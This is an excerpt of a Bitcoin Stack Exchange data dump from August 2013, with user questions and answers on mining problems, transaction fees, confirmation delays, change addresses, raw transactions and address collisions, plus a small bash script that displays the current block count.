  <row Id="12723" PostTypeId="2" ParentId="12721" CreationDate="2013-08-18T03:19:20.690" Score="0" Body="&lt;p&gt;Uh Oh, the high level answer is it means you are not getting any bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The lower level answer is harder to figure out without more information, basically, somewhere in the software/hardware stack is a problem that is preventing you from returning valid shares.  It could be a hardware problem but most likely it is just a configuration problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the comments below, can you answer:&#xA;1:  What hardware are you running this on?  CPU?  GPU? model?&#xA;2:  What does your GUIminer window look like (attach a screen shot).&#xA;3:  Did you create a worker on deepbit.com?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcome to StackExchange!&lt;/p&gt;&#xA;" OwnerUserId="6065" LastActivityDate="2013-08-18T03:19:20.690" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12724" PostTypeId="2" ParentId="12701" CreationDate="2013-08-18T03:34:11.883" Score="1" Body="&lt;p&gt;I think it will be more helpful if we attack your second scenario first.&#xA;This is what I think happened:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your wallet had an initial total of 14.3440969&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You then sent all of your bitcoins from all of your addresses into one address, but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The application you are using automatically deducted a transaction fee of 0.0002 before sending all of your coins to that address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, that new address ended up with 14.3438969 bitcoins (which is 14.3440969 - 0.0002).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, I think you're wondering why you didn't get paid the transaction fee because the transaction was just from yourself to yourself, right? The transaction fee does not go to receiving party - it goes to &quot;&lt;strong&gt;miners&lt;/strong&gt;&quot;. Miners are the persons (and their computers) on the bitcoin network who contribute to adding the record of your transaction to a &lt;em&gt;universal record of transactions&lt;/em&gt; known as &quot;&lt;strong&gt;the block chain&lt;/strong&gt;&quot;. There is some sort of work involved in doing so and the fee is the miners' incentive to do this work. There are a lot more technical details about how this works, but hopefully this is enough to clear up your confusion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for your first scenario, this could have worked in one of two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) The software you used automatically deducted the fee (say 0.0005 BTC) from the payout. In which case, your wallet would have lost 1.00 BTC and your friend would have actually gained 0.9995 BTC. In this case, the transactions would have gone through normally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) It's possible to send a transaction with no fee. The rules &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees#Sending&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; imply that your transaction should have gone through to your friend without fees, though it may have been delayed.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastActivityDate="2013-08-18T03:34:11.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12725" PostTypeId="1" CreationDate="2013-08-18T05:47:52.757" Score="2" ViewCount="681" Body="&lt;p&gt;I've sent 927 ltc from my wallet to btc-e but didn't left enough in my wallet to cover the 0.01 transaction fee. My litecoin wallet is showing 'this payment has not been transmitted yet' and it's been a couple of days now. How long is it going to take? Is there a way to cancel the transaction?&lt;/p&gt;&#xA;" OwnerUserId="6400" LastActivityDate="2014-05-09T03:57:53.587" Title="litecoin transaction time without transaction fee" Tags="|litecoin|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12726" PostTypeId="1" CreationDate="2013-08-18T05:51:22.997" Score="4" ViewCount="24375" Body="&lt;p&gt;Why did this &lt;a href=&quot;https://blockchain.info/tx/1c12a9f7db650956e3c01d7cd86fe8b4dd281e4d5dfc98f00af90803b158024f&quot; rel=&quot;nofollow noreferrer&quot;&gt;transaction&lt;/a&gt; take so long to be put in a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I initiated a 7 BTC transfer at 6:13 PM Eastern Time from Coinbase to an external address in an over the counter transaction today. It was put in a block 4.5 hours later (10:42 Eastern Time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not conducive to doing business at all :(&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked /tried these things:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I saw many blocks had been mined since my transaction was initiated at Coinbase.&lt;/li&gt;&#xA;&lt;li&gt;I saw there was a fee on the transaction&lt;/li&gt;&#xA;&lt;li&gt;I tweeted an &lt;a href=&quot;https://twitter.com/DavidSilvaSmith/statuses/368882532432879616&quot; rel=&quot;nofollow noreferrer&quot;&gt;inquiry&lt;/a&gt; to Coinbase&lt;/li&gt;&#xA;&lt;li&gt;I saw Coinbase was connected to 118 peers&lt;/li&gt;&#xA;&lt;li&gt;I saw other Coinbase transactions posted after mine confirmed within 20 minutes.&lt;/li&gt;&#xA;&lt;li&gt;I tried to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/11167/can-an-unconfirmed-transaction-that-only-blockchain-info-shows-be-manually-re-br/11171#11171&quot;&gt;manually broadcast&lt;/a&gt; the raw transaction on blockchain&lt;/li&gt;&#xA;&lt;li&gt;I read Coinbase blog &lt;a href=&quot;http://blog.coinbase.com/post/43285532179/unconfirmed-transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;post&lt;/a&gt; that they had slow confirms in February.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="841" LastEditorUserId="5406" LastEditDate="2017-06-17T23:34:06.937" LastActivityDate="2018-01-06T01:30:09.310" Title="Why did my Coinbase transaction take 4.5 hours to get in a block?" Tags="|unconfirmed-transactions|confirmations|coinbase.com|broadcast|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12730" PostTypeId="2" ParentId="12726" CreationDate="2013-08-18T15:33:56.460" Score="0" Body="&lt;p&gt;Coinbase has been hit-and-miss for me for the past month.  For example I've had:&#xA;1 &quot;instant transfer/buy&quot; that took 23 hours for the coins to arrive.  The next day, before my original purchase arrived I needed to make a small additional order to compensate for a rate drop and that one went through right away. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;More recently I've had outgoing transfers that took a few hours to appear on the blockchain including one that took nearly 24 hrs again. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the most part they did not respond to support requests until after the issue was resolved. No acknowledgement to tweets @ them.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eventual support email was the same form letter each time:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sorry about the delay! We had an issue syncing &gt;with the blockchain which resulted in &gt;unconfirmed transactions that remained in the &gt;pending state for too long. Now these &gt;transactions have been pushed through - let me &gt;know if you still need help with anything. Again, &gt;my apologies for any undue stress this has &gt;caused!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;At the risk of being flagged for &quot;not an answer,&quot; to me that doesn't  sound like the whole truth but that's all they're disclosing.  &lt;/p&gt;&#xA;" OwnerUserId="6321" LastActivityDate="2013-08-18T15:33:56.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12733" PostTypeId="2" ParentId="12603" CreationDate="2013-08-18T19:30:02.517" Score="38" Body="&lt;p&gt;The Mining Algorithm is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Step 0 - Retrieve the hash of the previous block from the network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Step 1 - Gather a list of potential transactions known as a &quot;block&quot;. This list of transactions comes from the peer-to-peer bitcoin network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Step 2 - Calculate a hash for a block of potential transactions along with a random number. &lt;/li&gt;&#xA;&lt;li&gt;Step 3 - If the hash is more than the currently set difficulty level, then you have mined that block.&#xA;If not, start over from Step 1. Any additions to the list of transactions from step 1 along with change in the random number from Step 2 mean that there's a chance that the criterion will be met in the next go around.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;From a programmer's view, the pseudo code might look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;P := The hash of the previously mined block&#xA;B := A block of transactions&#xA;H := A hash function&#xA;D := Difficulty Level&#xA;&#xA;0 Retreive P&#xA;1 Construct/Modify B&#xA;2 IF H(P, B, Some Random Number) &gt; D END&#xA;3 GOTO 1&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I should warn you that there are a few inaccuracies in that description, but for the most part, that should be good enough. And here are a few more useful clarifications:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's a hash?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A hash is a function that converts data into a number within a certain range. The hash has the property that knowing it's output is essentially unpredictable (within the given range). The specific hash function used for bitcoin mining is SHA256 applied twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;How does the difficulty level work?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This unpredictable nature of the hash function means that putting in random data (the transaction + the random number) will essentially produce a random number within a certain range. Further restricting the range of the desired output affects how likely one is to find it in a single round. This creates a way to probabilistically determine how often a solution will be found based on the number of times the algorithm can be run on the network. Specifically, when you hear the term &quot;gigahashes&quot; or &quot;terahashes&quot;, this refers to the number of times Step 3 can be run. As the number of hashes per second across the entire network grows, the network automatically raises the difficulty such that a solution will be found within about 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What happens when a block is mined?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a block is mined, the miner sends the block to all other miners on the network as evidence that it has found it. This block contains a list of transactions, the found hash, the specific random number, and a reference to the previous hash. As each miner receives the newly mined block, it removes all transactions that it is currently mining that exist within the block (because they've already been confirmed in the block chain) and broadcasts the block to other miners that do the same thing. The propagation happens pretty quickly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: the original miner of the block gets a &quot;miners' fee&quot;, which is a reward consisting of any unspent coins from transactions in addition to a &quot;coinbase&quot; reward. The coinbase reward started out at 50 bitcoins and halves after every 210,000 blocks (about once every 4 years). The coinbase reward will eventually get so small that it will be miniscule compared to miners's fees.&lt;/p&gt;&#xA;" OwnerUserId="6388" LastEditorUserId="6388" LastEditDate="2018-12-12T03:41:41.653" LastActivityDate="2018-12-12T03:41:41.653" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="12734" PostTypeId="2" ParentId="10859" CreationDate="2013-08-18T21:24:11.373" Score="14" Body="&lt;p&gt;Do &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd /home/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nano block.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;copy the code below and paste (right click if you use putty) to the script.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#!/bin/bash&#xA;while true ; do&#xA;    clear&#xA;    echo &quot;Press enter to break loop. Script will loop every 3 seconds&quot;&#xA;    echo &quot;script by Nixsy 18th august 2013&quot;&#xA;    echo &quot;If loop freezes press CTRL+C&quot;&#xA;    echo &quot;&quot;&#xA;    echo -e &quot;    \033[31mdownloaded\e[0m/\033[32mavailable\e[0m&quot;&#xA;    echo -e &quot;    \033[31m&quot;`bitcoin-cli getblockcount 2&amp;gt;&amp;amp;1`&quot;\e[0m&quot;/&quot;\033[32m&quot;`wget -O - http://blockchain.info/q/getblockcount 2&amp;gt;/dev/null`&quot;\e[0m&quot;&#xA;    read -t 3 -n 3 &amp;amp;&amp;amp; break&#xA;done&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When you have copied the text to nano hold CTRL+X and then press Y to save.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terminal type or copy from below followed by the enter key.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;chmod +x block.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to start the script type.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./block.sh&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is just a little edit of the script from Lohoris, It will clear the screen then loop the script every 3 seconds until a key press.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Credit to Lohoris for the original script.&lt;/p&gt;&#xA;" OwnerUserId="6349" LastEditorUserId="2306" LastEditDate="2015-06-07T05:02:42.000" LastActivityDate="2015-06-07T05:02:42.000" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12735" PostTypeId="1" AcceptedAnswerId="12737" CreationDate="2013-08-19T02:58:37.887" Score="4" ViewCount="1259" Body="&lt;p&gt;i did read up some stuff about bitcoin but never used it until today. i might be asking something very obvious, but how can i get rid of address forking? that is, after several transactions my address list grown and each has a tiny amount of btc(its a mess now, and it was unexpected for me). i would like to send further transactions without implicit generation of new addresses, how can that be achieved? i use bitcoin-qt or bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;should i be using createrawtransaction to reassemble my btc to one address and avoid forking in the future?&lt;/p&gt;&#xA;" OwnerUserId="6408" LastActivityDate="2017-11-03T13:28:46.567" Title="multiple outputs, address forking" Tags="|address|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12736" PostTypeId="1" CreationDate="2013-08-19T03:56:40.130" Score="4" ViewCount="122" Body="&lt;p&gt;I'd like to promote Bitcoin in my neighborhood, but I'd also like to do it efficiently... So I'm trying to figure out where and how to direct business owners into a simple A-B-C set of steps that explains everything from the hardware / software to the tax implications / software needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there exist lists of tools businesses could use, but those lists often seem overwhelming. Any ideas would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6193" LastActivityDate="2018-03-26T16:18:50.423" Title="Is there a one-stop shop to introduce businesses to accepting Bitcoin?" Tags="|business|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12737" PostTypeId="2" ParentId="12735" CreationDate="2013-08-19T04:19:33.540" Score="2" Body="&lt;p&gt;If you have not seen this yet, here is a &lt;a href=&quot;http://www.zerohedge.com/sites/default/files/images/user3303/imageroot/2013/05/20130512_BTC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;diagram by zerohedge.com&lt;/a&gt; I found enlightening in order to understand how transactions fit into the Bitcoin concept.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The wiki at &lt;a href=&quot;https://en.bitcoin.it/wiki/Transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin.it has a more in detail overview&lt;/a&gt; of the inner works of Transactions and the inner workings of &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow noreferrer&quot;&gt;Raw Transactions&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I understand inputs to Bitcoin addresses are always spent completely in a transaction, so whatever you don't assign to a recipient will be available to be collected by a miner as transaction fee. So you'd need to set your client software to use the same address as source as well as for the recipient address of the transaction's change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could create a transaction that collects the complete balance from your wallet and sends them to a single output address. However, it is beneficial to use more than one address in order to make it more difficult to connect different transactions as belonging to the same identity. The &lt;a href=&quot;https://en.bitcoin.it/wiki/Anonymity&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin.it wiki has more information on privacy concerns&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, Gavin Andresen, the lead developer of the reference client explained &lt;a href=&quot;https://bitcoin.stackexchange.com/q/1629/5406&quot;&gt;in this question&lt;/a&gt;, why change is sent to another address.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-08-22T16:52:32.433" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12740" PostTypeId="2" ParentId="8804" CreationDate="2013-08-19T07:15:34.627" Score="31" Body="&lt;p&gt;&lt;strong&gt;TL;DR:&lt;/strong&gt; &lt;em&gt;There are so many addresses that it is improbable that anyone will ever generate a duplicate of another address in use – as long as random number generators work as they should.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2^160 possible addresses&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Bitcoin addresses consist of an alphanumerical string with a length of up to 34 characters, excluding the capital &quot;O&quot;, the capital &quot;I&quot; and the lowercase &quot;l&quot;, as well as the number &quot;0&quot;. This would allow for 58^34 possible combinations, however, as some of the positions are used for a checksum &lt;a href=&quot;https://bitcointalk.org/index.php?topic=24268.0&quot; rel=&quot;noreferrer&quot;&gt;this is reduced to &lt;strong&gt;2^160 valid addresses&lt;/strong&gt;&lt;/a&gt;. The checksum on the other hand allows to detect mistyped addresses as invalid, so that it is highly unlikely to accidentally input another valid address.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Chance of 3.42*10^(-27) for a collision at one trillion addresses&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Even if we generously assume that at some point there will be one trillion addresses (approx. 160 for each of this planet's population), according to the &lt;a href=&quot;http://en.wikipedia.org/wiki/Birthday_attack#Simple_approximation&quot; rel=&quot;noreferrer&quot;&gt;simple approximation formula for the Birthday attack given on Wikipedia&lt;/a&gt;, the chance is &lt;strong&gt;3.42*10^(-27) that any two of those Bitcoin addresses collide&lt;/strong&gt;. In comparison, the figure of addresses that were ever used to receive bitcoins was &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/10850/how-many-bitcoin-addresses-are-there&quot;&gt;just over 13 million in May 2013&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Address space could be augmented&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Especially as the protocol at any point could be adapted to accept even longer addresses, we can say, yes, it is theoretically possible, but unlikely enough that we can assume for our purposes that it will never happen.*&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;It's impractical to generate addresses for gain&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To answer your other question: For each address &lt;a href=&quot;https://bitcointalk.org/index.php?topic=24268.0&quot; rel=&quot;noreferrer&quot;&gt;there apparently are 2^96 different private keys&lt;/a&gt; whose corresponding public key will map to the same address. So to actually try to pursue Bitcoin theft, it would be much more sensible to just generate random private keys and hope to find one that has a corresponding address with money on it. &lt;strong&gt;In all likelihood the power for such calculations would cost more than anyone could earn with such a scheme.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*As long as certain random number generators work as well as they should... :)&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2013-10-03T13:46:57.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12741" PostTypeId="1" CreationDate="2013-08-19T11:30:13.313" Score="3" ViewCount="3757" Body="&lt;p&gt;following the manual on &lt;a href=&quot;https://bitcointalk.org/index.php?topic=101525.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=101525.0&lt;/a&gt; , i would like to merge multiple fractions of BTC &lt;strong&gt;from multiple&lt;/strong&gt; addresses i own, &lt;strong&gt;to&lt;/strong&gt; another &lt;strong&gt;single&lt;/strong&gt; address i own(reassemble, sort of, organize stuff). how will my approach look like? i still don't get what does &quot;vout&quot; value mean in the &lt;em&gt;createrawtransaction&lt;/em&gt;? i think it's about this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# assume i would like to merge transactions &quot;aaaa...&quot; and &quot;bbbb...&quot; to address &quot;1mainaddr...&quot;&#xA;# &quot;aaaa...&quot; has 0.01  btc unspent&#xA;# &quot;bbbb...&quot; has 0.0105 btc unspent&#xA;# &quot;1mainaddr...&quot; is emtpy&#xA;# i would like to pay 0.0005 btc as a fee&#xA;&#xA;createrawtransaction [{txid:aaaa...,vout=0},{txid:bbbb...,vout=1}] {1mainaddr...=0.02}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is that correct?&#xA;i would like to first test this on testnet but still waiting on block confirmations. i'd appreciate 1-2 testnet BTC on &lt;em&gt;moBHB5euzHyKtcabpD3UND9PYB994cisqb&lt;/em&gt; and will return it to you once block 101602 is confirmed.&lt;/p&gt;&#xA;" OwnerUserId="6408" LastActivityDate="2015-05-19T06:02:22.807" Title="createrawtransaction, multiple outputs, single input?" Tags="|transactions|address|transaction-fees|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12742" PostTypeId="2" ParentId="12736" CreationDate="2013-08-19T12:01:51.067" Score="1" Body="&lt;p&gt;I just set up a very website that shows people how they can earn Bitcoins, it's simply called &lt;a href=&quot;http://earn-bitcoins.com/index.html&quot; rel=&quot;nofollow&quot;&gt;Earn Bitcoins&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Under the &lt;a href=&quot;http://earn-bitcoins.com/downloads.html&quot; rel=&quot;nofollow&quot;&gt;downloads&lt;/a&gt; section there is a free, easy to use PDF guide that shows brick and mortar shops the advantages of accepting Bitcoins and how they can easily integrate it. Please feel free to use it. I will also publish a print version. The one that's included there right now is better suitable for on-screen reading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also run &lt;a href=&quot;https://www.bitbond.net/&quot; rel=&quot;nofollow&quot;&gt;Bitbond.net&lt;/a&gt; with my co-founder. We want to use the flyer to spread the word in small shops in Berlin. The plan is simply to walk into shops, show them the flyer and explain them why and how it's good for them to accept Bitcoins. Check out the doc and let me know what you think. :)&lt;/p&gt;&#xA;" OwnerUserId="5793" LastActivityDate="2013-08-19T12:01:51.067" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12743" PostTypeId="1" CreationDate="2013-08-19T13:43:06.717" Score="5" ViewCount="1815" Body="&lt;p&gt;We have been using the payment service provided by blockchain.info &lt;a href=&quot;https://blockchain.info/api/api_receive&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/api/api_receive&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It allows us to generate a unique address for each payment and forward Bitcoins received by these addresses to a forwarding address. From what I understand, bc.info pays the transaction fee for the forwarding transaction for us.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We want to use our own wallet. I have two questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) How does bc.info handle this cost? Am I missing something? Are they really paying 0.0001 BTc for each payment their clients receive?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) Is there a way to forward payments without paying fees?&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="153" LastEditDate="2013-09-14T05:13:32.303" LastActivityDate="2016-12-28T12:21:57.807" Title="How does the Bitcoin payment forwarding at Blockchain.info work?" Tags="|transaction-fees|blockchain.info|payment|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12744" PostTypeId="2" ParentId="4389" CreationDate="2013-08-19T13:46:37.677" Score="0" Body="&lt;p&gt;&lt;strong&gt;Excellent question and premise thank you.&lt;/strong&gt; How would I defend it? Skip to the end of my rant or don't and read on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a very real scenario and it is definitely coming and sooner rather then later. I am a 100% supporter of bitcoin. However, regulation is coming because bad people are using it, we aren't self regulating so the government will step in- guaranteed. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cash has been regulated and watched over for decades and yet bad guys still use it. The criminal element will ALWAYS take advantage of the hard work and efforts of bright people who work hard through issues to produce something cool like btc. Child pornographers will use btc and cash to accept payments for porn involving toddlers, drug dealers will use it as they lay waste to many of their customers, terrorist will use it in their desire to harm innocent people. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Why Regulate?&lt;/strong&gt;&#xA;The gov't looks at bitcoin and since many of them are more comfortable with a #2 pencil than they are with a website they will fear it, they will listen to those around them that espouse the evils of anything and everything. Remember, negativity is a strong thing and when a Senator's staff tells him or her all the horrible things you can do with btc. They'll see anonymity... they will see efforts to make it even MORE anonymous, they'll sit back and say oh well, look at them, they are creating mixers and tainters etc to cover their tracks. Why would any legit person want to use a tainter? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well, Sir or Ma'am because we can or because we want to use them. Because legitimate people will in fact use those things and they'll do it for the most simple of reasons. But so will child pornography producers, folks will use it to cover their online gambling which is still illegal here in the States. And like it or not, what we regulate here in the US will eventually and sooner rather then later be regulated in the rest of the world. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do we avoid government intrusion? &#xA; How do we show the government that we are keeping our own house clean and that we are generally doing what we need to do the reduce the attraction to the criminal element. And why shouldn't we? What do they add as a benefit? what does the criminal element do except basically use and abuse and screw it up for everyone? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So along with tainters and mixers etc. We need people to work on ways to show that Bob or Jane isn't buying their fancy shoes or cool new gaming PC with the proceeds of a crime.  &lt;/p&gt;&#xA;" OwnerUserId="6188" LastActivityDate="2013-08-19T13:46:37.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12746" PostTypeId="1" AcceptedAnswerId="29849" CreationDate="2013-08-19T14:20:08.880" Score="15" ViewCount="5183" Body="&lt;p&gt;Can a Bitcoin transaction have the same address for input and output, i.e. spend some of the coins that are linked to an address and send the rest back to that same address? Is there some reason why it is imprudent to do so?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2020-10-23T17:24:05.667" LastActivityDate="2022-07-28T12:28:49.980" Title="Can a Bitcoin transaction have the same address for input and output?" Tags="|transactions|protocol|change|address-reuse|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12747" PostTypeId="2" ParentId="12746" CreationDate="2013-08-19T14:27:04.683" Score="10" Body="&lt;p&gt;Yes it can. See this transaction below.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchair.com/bitcoin/transaction/b345c51064074f5d6c0e11187326567765eb4fa3236ca1be440ccb5745775238&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blockchair.com/bitcoin/transaction/b345c51064074f5d6c0e11187326567765eb4fa3236ca1be440ccb5745775238&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5157" LastEditorUserId="-1" LastEditDate="2022-07-28T12:28:49.980" LastActivityDate="2022-07-28T12:28:49.980" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12749" PostTypeId="2" ParentId="12741" CreationDate="2013-08-19T15:35:07.867" Score="2" Body="&lt;p&gt;vout is the serial number of the output you're redeeming in its transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you want to redeem the first output in the transaction with hash X, you specify X for txid and 0 for vout. If you want the second output in that transaction, you specify 1 for vout instead, etc.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2013-08-19T15:35:07.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12750" PostTypeId="2" ParentId="12735" CreationDate="2013-08-19T15:36:22.150" Score="1" Body="&lt;p&gt;You can modify bitcoin client source a bit, so that it doesn't generate new addresses after using previous one. You actually need to set sth like &lt;code&gt;keyUsed = false&lt;/code&gt; in getaddress and compile.&lt;br&gt;&#xA;For consolidating use raw transactions, however bear in mind that creating a transaction from lots of previous outputs requires a lot of copy &amp;amp; paste, or some fun with pywallet to export all transactions.&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-19T15:36:22.150" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12751" PostTypeId="2" ParentId="12743" CreationDate="2013-08-19T16:00:41.063" Score="0" Body="&lt;p&gt;1) I suppose they don't have to pay it, since they receive lot of bitcoins, so it's up to them what bitcoins to choose. Fee depends on transaction amount and time since including an amount in block, so thay can have much old money.&lt;br&gt;&#xA;2) Yes. You can wait some time in order to send it without fee (days or weeks), send raw transactions or use modified client from Shadow Of Harbinger&lt;/p&gt;&#xA;" OwnerUserId="6128" LastActivityDate="2013-08-19T16:00:41.063" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12752" PostTypeId="1" AcceptedAnswerId="13158" CreationDate="2013-08-19T16:13:18.077" Score="0" ViewCount="162" Body="&lt;p&gt;Is the location of price matching for a trade can optionally decided ? i.e. Does a brokerage firm have its own price matching engine which gets the Market depth updates and runs price matching algorithms against that data for its customers? or it is only that exchanges can do this all matching stuff?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which is the generally followed method in practice?&lt;/p&gt;&#xA;" OwnerUserId="6414" LastActivityDate="2013-09-06T18:16:14.423" Title="Does a brokerage firm have its own price matching engine? or it is only that exchanges can do this all matching stuff?" Tags="|trading|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
